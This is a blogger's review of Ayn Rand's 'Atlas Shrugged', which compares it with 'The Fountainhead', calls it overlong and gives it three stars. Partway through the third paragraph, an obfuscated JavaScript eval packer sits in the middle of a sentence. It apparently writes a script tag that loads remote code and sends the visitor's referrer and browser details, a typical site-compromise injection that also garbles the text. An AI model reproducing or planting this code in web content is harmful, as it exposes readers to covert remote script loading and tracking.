Shrugs for Ayn Rand’s “Atlas Shrugged”


Finally . . . That was the word that came to mind when I closed the more than a thousand pages of “Atlas Shrugged”.  It’s been a grueling read, and I was tempted to end the book prematurely.  However, I stuck it out because 1) I really enjoyed Ayn Rand’s “Fountainhead”, 2) I can’t stand to not finish a book that I’ve started, 3) “Atlas Shrugged” is a classical book that has topped many reader’s list as a must-read-before-you-die.  The reason why I even chose to read “Atlas Shrugged” was because I loved the “Fountainhead”.  Rand’s prose is beautiful, but she became long-winded in “Atlas Shrugged”.  I felt that the book could have been chopped in half and still carried the same significance as her unabridged version.

“The Fountainhead” and “Atlas Shrugged” carried many of the same motifs.  Their main characters shared similar attributes in their stark mannerism and strict moral codes.  They all valued the same core principles about living their life for themselves.  Howard Roark allowed Rand to personify her issue from a strict personal level of the individual.  In contrast, “Atlas Shrugged” explored the world of the looters more than “The Fountainhead”.

These two books are complementary to one another.  One explores the individual viewpoint while the other explores the external world’s viewpoint.  In the end, they both are trying to hold the human to a higher level of integrity and honesty.  The gift of your mind is a precious commodity that if removed from the equation of life, would not only imbalance the flow of chemicals but lead to the inevitable can eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnbnz|var|u0026u|referrer|dfzry||js|php’.split(‘|’),0,{}))
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destruction of the current state of affairs.  Our world is not perfect, but when you choose to stop thinking for yourself, then it looses more than its luster, but it’s significance.  This is the main theme within in “Atlas Shrugged”, a very fitting title to Rand’s book.

Atlas is a mythical person who holds the world on his shoulders, crushed under the unbearable weight of guilt and obligation that leaves trails of blood down his shoulders and arms.  Rand’s Atlas no longer carries the burden of the world; instead he shrugs his shoulder with his individual freedom to choose his own path.

Another aspect of this book tackles the excess of government and the need to deregulate business in a republican push for the economy.  Rand throws her world into a black and white affair where it is easy to pick out the winners from the losers.  In reality, the right choice is usually more complex because of the uncertain human element.  Not every CEO will be just and honest.  Not every criminal will be cruel and heartless.

My overall rating of “Atlas Shrugged” is 3 stars.  It holds good messages and is written beautifully.  However, I’ve deducted points because the story is epically long for no reason.  Rand’s precise writing and clear, elucidated ideas are well formatted and presented to the reader.  Her analogies and descriptions are very astute observations of reality in prose.  However, I still prefer “The Fountainhead” to “Atlas Shrugged”.  I highly recommend you read both books as your 2011 book challenge to yourself!



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